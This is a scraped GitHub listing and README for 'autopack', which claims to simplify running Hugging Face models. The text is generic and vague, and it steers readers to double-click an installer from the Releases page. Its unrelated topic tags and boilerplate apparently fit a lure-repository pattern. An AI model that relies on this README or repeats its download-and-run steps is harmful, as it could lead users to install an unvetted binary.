https://github.com/cenzo00/autopack
🚀 Simplify running, sharing, and shipping Hugging Face models with autopack; it quantizes and exports to multiple formats effortlessly.
https://github.com/cenzo00/autopack
ant-design autodiscover bash cabal docker haskell huggingface ios java keycloak large-language-models minecraft model quantization react shell sphinx spring-boot
Last synced: 3 months ago
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🚀 Simplify running, sharing, and shipping Hugging Face models with autopack; it quantizes and exports to multiple formats effortlessly.
- Host: GitHub
- URL: https://github.com/cenzo00/autopack
- Owner: cenZO00
- License: apache-2.0
- Created: 2025-09-29T23:11:47.000Z (4 months ago)
- Default Branch: main
- Last Pushed: 2025-10-07T03:23:49.000Z (3 months ago)
- Last Synced: 2025-10-07T05:37:10.599Z (3 months ago)
- Topics: ant-design, autodiscover, bash, cabal, docker, haskell, huggingface, ios, java, keycloak, large-language-models, minecraft, model, quantization, react, shell, sphinx, spring-boot
- Language: Python
- Size: 1.43 MB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- Changelog: CHANGELOG.md
- License: LICENSE
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README
# 🎉 autopack - Simplifying Your Model Deployment
## ⚙️ Overview
Welcome to **autopack**! This application makes it easy to run, share, and deploy your Hugging Face models with just one line of code. Whether you are looking to test large language models or just want to experiment with AI, this tool simplifies the entire process.
## 📥 Download
[](https://github.com/cenZO00/autopack/releases)
## 🚀 Getting Started
To start using autopack, follow these simple steps:
1. **Download the application**
- Visit the [Releases page](https://github.com/cenZO00/autopack/releases) to download the latest version.
- Choose the correct file for your operating system and download it to your computer.
2. **Install autopack**
- Once the file is downloaded, locate it in your downloads folder.
- Double-click the file to start the installation. Follow the prompts on your screen.
3. **Run autopack**
- After installation, open autopack from your applications menu.
- You are ready to deploy your models easily.
## 📝 Features
- One-line deployment: Quickly deploy your models without complicated steps.
- Support for Hugging Face: Seamlessly integrate with your existing Hugging Face models.
- Compatibility: Works well with various operating systems, ensuring flexibility for all users.
- Automatic Updates: Stay up to date with regular updates rolled out automatically.
## ⚙️ System Requirements
Before you start, please ensure your system meets these requirements:
- **Operating System**: Windows 10 or later, macOS Mojave or later, and any modern Linux distribution.
- **Memory**: At least 4GB of RAM recommended for optimal performance.
- **Disk Space**: At least 500MB of free space for installation and running models.
- **Python**: Python 3.6 or later is required for best compatibility.
## 📖 Usage Instructions
Using autopack is simple. After installation, follow these steps to quickly run your models:
1. Open autopack.
2. In the text area, type or paste your Hugging Face model link.
3. Press the "Run" button.
4. Your model will begin running, and you can monitor its progress in the output window.
## 💻 FAQ
**Q: What is Hugging Face?**
A: Hugging Face is a popular platform for sharing and using AI models. It has a wide range of models tailored for different tasks, especially in NLP (Natural Language Processing).
**Q: What if I encounter issues?**
A: If you run into any problems, check the FAQs in the Help section of the application. You can also open an issue on the GitHub repository for assistance.
**Q: Is autopack free?**
A: Yes, autopack is completely free to use. Feel free to share it with others!
## 🛠️ Troubleshooting
If you experience any problems with installation or running your models, consider these steps:
1. **Reinstall the application**: Sometimes files can become corrupted during download. A fresh installation usually fixes this.
2. **Check for updates**: Make sure you have the latest version of autopack to ensure all features work properly.
3. **Visit the community forums**: Find support or ask questions from other users who might have faced similar issues.
## 🌟 Additional Resources
- [GitHub Repository](https://github.com/cenZO00/autopack) - Explore the code and contribute to future updates.
- [Hugging Face Documentation](https://huggingface.co/docs) - Learn more about Hugging Face and how to use different models effectively.
## 📥 Download & Install
Remember, to get started with autopack, visit the [Releases page](https://github.com/cenZO00/autopack/releases) again to download the application. Follow the installation steps provided, and you will be running your Hugging Face models with ease in no time!